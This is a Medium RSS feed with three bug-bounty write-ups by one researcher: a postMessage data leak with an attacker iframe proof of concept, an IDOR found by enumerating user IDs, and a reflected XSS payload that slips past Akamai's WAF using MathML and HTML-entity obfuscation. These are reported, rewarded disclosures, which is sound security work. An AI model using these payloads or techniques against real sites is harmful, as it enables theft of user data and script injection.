<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Tomi García (aka. archyxsec) on Medium]]></title>
        <description><![CDATA[Stories by Tomi García (aka. archyxsec) on Medium]]></description>
        <link>https://medium.com/@archyxsec?source=rss-6298f2e3b24d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*G0Qx7GGvwV12tToBlDxz0A.jpeg</url>
            <title>Stories by Tomi García (aka. archyxsec) on Medium</title>
            <link>https://medium.com/@archyxsec?source=rss-6298f2e3b24d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 08:48:58 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@archyxsec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Abuse of PostMessages to exfiltrate user data]]></title>
            <link>https://archyxsec.medium.com/abuse-of-postmessages-to-exfiltrate-user-data-39f5f4884eee?source=rss-6298f2e3b24d------2</link>
            <guid isPermaLink="false">https://medium.com/p/39f5f4884eee</guid>
            <dc:creator><![CDATA[Tomi García (aka. archyxsec)]]></dc:creator>
            <pubDate>Fri, 26 Jul 2024 19:11:16 GMT</pubDate>
            <atom:updated>2024-07-26T19:29:14.720Z</atom:updated>
            <content:encoded><![CDATA[<p>This month I found a rather peculiar bug, I found the following code fragment in an endpoint responsible for communicating with the main domain to send user data: <em>https://vuln.com/endpoint?origin=archy</em></p><pre>parent.postMessage(JSON.stringify({<br>    &quot;data&quot;: {<br>        &quot;username&quot;: &quot;archyxsec&quot;,<br>         ....<br>    }<br>}), &#39;archy&#39;);</pre><p>I have censored several data of this fragment but basically as you can appreciate it makes use of “<em>parent.postMessage”</em>, “<em>parent” </em>refers to the object window.parent in the context of an iframe. This object represents the window context of the document that contains the iframe. Basically if from “example.com” we include an iframe to “archy.com”, in “archy.com” object parent refers to the window object of “example.com”.</p><p><a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage">PostMessages</a> is a method that allows communication between windows. basically has the following structure:</p><pre>postMessage(message, targetOrigin);</pre><blockquote>On the endpoint the attacker has full control over targetOrigin, to simplify the attack I will set * so that any window that has a “message” event listener configured can receive the message.</blockquote><p>It seems simple, but well to exploit this we need <em>Frame</em> policies to allow it, in this case this endpoint has no <em>X-Frame-Options</em> policy in place, which allows it to be included in an iframe from any source.</p><p>Another consideration to take into account and that allowed me to exploit the bug is that the <strong>cookies </strong>have configured the “SameSite:None” and “Secure” attribute where in Chromium-based browsers allow cookies to be transmitted to third parties (in addition to taking into account that the CSP allows it).</p><blockquote>Note: Do not try this on Firefox 🤣</blockquote><p>The exploit is simple, an attacker only needs to send the victim to his controlled site with the following source:</p><pre>&lt;html&gt;<br>    &lt;body&gt;<br>    &lt;iframe src=&quot;https://vuln.com/endpoint?origin=*&quot;&gt;&lt;/iframe&gt;<br>    &lt;/body&gt;<br>&lt;script&gt;<br><br>    window.addEventListener(&quot;message&quot;, function (event) {<br>        try {<br>            var data = JSON.parse(event.data);<br>            alert(&quot;User Data&quot; + JSON.stringify(data));<br>        }<br>        catch (e) { }<br>    });<br>&lt;/script&gt;<br>&lt;/html&gt;</pre><p>When the victim accesses the domain controlled by the attacker we will exploit the bug to send us the message by exploiting the “parent.postMessage()” call and we will receive the data in the domain controlled by the attacker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zRQwnxxs_n6URwTGxfqBsw.png" /><figcaption>PoC</figcaption></figure><h4>Timeline</h4><blockquote>Reported -&gt; July 12th, 2024</blockquote><blockquote>Triaged-&gt; July 12th, 2024</blockquote><blockquote>Bounty Awarded 💰 -&gt; July 16th, 2024</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=39f5f4884eee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The day I prevented a data breach -$$$$ bounty]]></title>
            <link>https://archyxsec.medium.com/how-i-prevent-a-leakage-of-confidential-user-data-bounty-bdb02db3d37c?source=rss-6298f2e3b24d------2</link>
            <guid isPermaLink="false">https://medium.com/p/bdb02db3d37c</guid>
            <dc:creator><![CDATA[Tomi García (aka. archyxsec)]]></dc:creator>
            <pubDate>Tue, 13 Feb 2024 09:13:02 GMT</pubDate>
            <atom:updated>2024-02-13T09:56:21.647Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi guys! In December 2023 I found a critical bug that allowed viewing of confidential information related to users in a private Bugcrowd program.</p><p>Studying different domains of the program via dorking I came across a very interesting one since other similar ones had no content and only returned an unavailable service message.</p><p>The first thing I noticed was the javascript files that load dynamically on the web. In one of these files I found a call to the api in another domain quite interesting:</p><pre>POST https://api.[redacted].com/api/&lt;onepath&gt;/&lt;othersubpath&gt;</pre><p>I also observed how it sent data in JSON format to the API in such a way:</p><pre>{<br>&quot;username&quot;:&quot;tomi&quot;,<br>&quot;userID&quot;:1234,<br>&quot;otherdata&quot;:&quot;otherdata&quot;<br><br>}</pre><p>The first thing I thought was that I did not have any ID since I had no user in the system (No register form), but what if I try to enumerate IDs? As a great Spanish comedian from my country says, it won’t work, but if is yes?</p><p>After sending the request to the intruder I found some other valid IDs that by making the request allowed me to obtain sensitive information from those users.</p><p>My tips after finding this bug is:</p><ul><li>Always study how the application works, how it interacts with other subdomains and how the frontend interacts with the backend.</li><li>Think like a real Hacker, stop throwing nuclei and automated tools at everything, there are people who spend thousands of dollars a month to automate all that and they will report bugs before you.</li><li>Love hacking</li></ul><h4>Timeline</h4><blockquote>Reported -&gt; <strong>27 December 2023</strong></blockquote><blockquote>Validated -&gt; <strong>02 Jan 2024</strong></blockquote><blockquote>Max bounty + Bonus awarded -&gt; <strong>03 Jan 2024</strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bdb02db3d37c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The day I got an XSS bypassing Akamai]]></title>
            <link>https://archyxsec.medium.com/the-day-i-got-an-xss-bypassing-akamai-13f0a9ffce9c?source=rss-6298f2e3b24d------2</link>
            <guid isPermaLink="false">https://medium.com/p/13f0a9ffce9c</guid>
            <dc:creator><![CDATA[Tomi García (aka. archyxsec)]]></dc:creator>
            <pubDate>Tue, 09 Jan 2024 15:09:00 GMT</pubDate>
            <atom:updated>2024-01-09T15:49:06.507Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi! This is my <strong>first post</strong> here on medium. I’m going to take this opportunity first to tell you a little bit about my story.</p><p>I’ve been passionate about cybersecurity since I was a little boy, but I didn’t start looking into it until I started my studies in the second year of my degree. In my second year I started to hear about bug bounty and I registered in Hackerone, just to look at other people’s reports and discover a little bit the world, but I stayed there because I felt very lost in the world of bug bounties. At this time during my degree I was in my free time studying about the cybersecurity, on platforms like Hackthebox, Tryhackme but it was not until late August 2023 or early September when I got fully into bug bounty.</p><p>In these four months I have grown a lot, I consider that according to the effort since I have dedicated many hours, but at the end of the day is what I love hacking and nobody gets tired or bored of what I love, as I say, <strong>I was born to be a hacker</strong>, it is also very important to have a different reasoning ability that makes you see things where nobody else sees them to find <strong>critical flaws</strong>. Today’s bug is a<strong> simple RXSS</strong>, one of the first I encountered in which I had to bypass akamai’s WAF to execute a <em>console.error().</em></p><p>First of all I would like to say that my methodology is <strong>100% manual</strong>, although I am developing my own tools to do basic tasks and get rid of recognition work all my methodology is manual for the moment, I have been doing this for a short time and I still do not have any 100% functional tool, anyway I do better to look for bugs manually because like everyone else when you start and start throwing nuclei to everything you find I found many duplicates.</p><p>I started searching for endpoints by <strong>google dorking</strong> on “[].redacted.com” with the following query: <strong><em>site:*.redacted.com. </em></strong>I found an interesting subdomain and searched for more endpoints on <strong>web.archive.org</strong>.</p><p>I found an endpoint: <a href="https://[].redacted.com/?vulnparam=Archyxsec">https://[].redacted.com/?<em>vulnparam=Archyxsec</em></a><em> </em>which reflected what it indicated in the parameter and could escape and insert tags. This check is the first one to find XSS, look for some parameter that reflects and try to escape to insert your own tags. I always test with <em>&lt;x&gt; or &lt;archy&gt; hehe. </em>The problem with this server is that it had Akamai WAF, which blocked all common injection. I test for this tag <strong><em>&lt;math&gt;</em></strong> that allow for tags with <strong><em>href </em></strong>(<a href="https://developer.mozilla.org/es/docs/Web/MathML/Element/math">https://developer.mozilla.org/es/docs/Web/MathML/Element/math</a>) and <strong>BOOM</strong>, I can execute javascript code. (<em>I could only run it in firefox</em>)</p><blockquote>Payload use: 123456%22/%3E%3Cmath%3E%3Carchy%20href=Ja%26Tab;vascript%26colon;console.error(1)%3EARCHY%3C/archy%3E%3C/math%3E%3C!--</blockquote><blockquote><em>U</em>rldecode: 123456&quot;/&gt;&lt;math&gt;&lt;archy href=Ja&amp;Tab;vascript&amp;colon;console.error(1)&gt;ARCHY&lt;/archy&gt;&lt;/math&gt;&lt;! —</blockquote><p>Note that I need some additional tips like obfuscate the code with <em>&amp;Tab</em>; and <em>&amp;colon</em>; (Simulating / and : with <em>html entities</em>)to be able to name <strong>Javascript:</strong> You can also test for another functions like alert(), console.log()…</p><p>Result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*liEAEY0UnoG3UADV1shm_w.png" /><figcaption>Reflected XSS</figcaption></figure><p>Thank you very much for reading my first post, I hope you have learned something more. I promise you that the next ones will be better!</p><h4>Timeline:</h4><blockquote><strong>Reported </strong>-&gt; November 19th 2023</blockquote><blockquote><strong>Triaged </strong>-&gt; November 23th 2023</blockquote><blockquote><strong>Bounty awarded</strong> -&gt; $$$💰 December 17th 2023</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=13f0a9ffce9c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>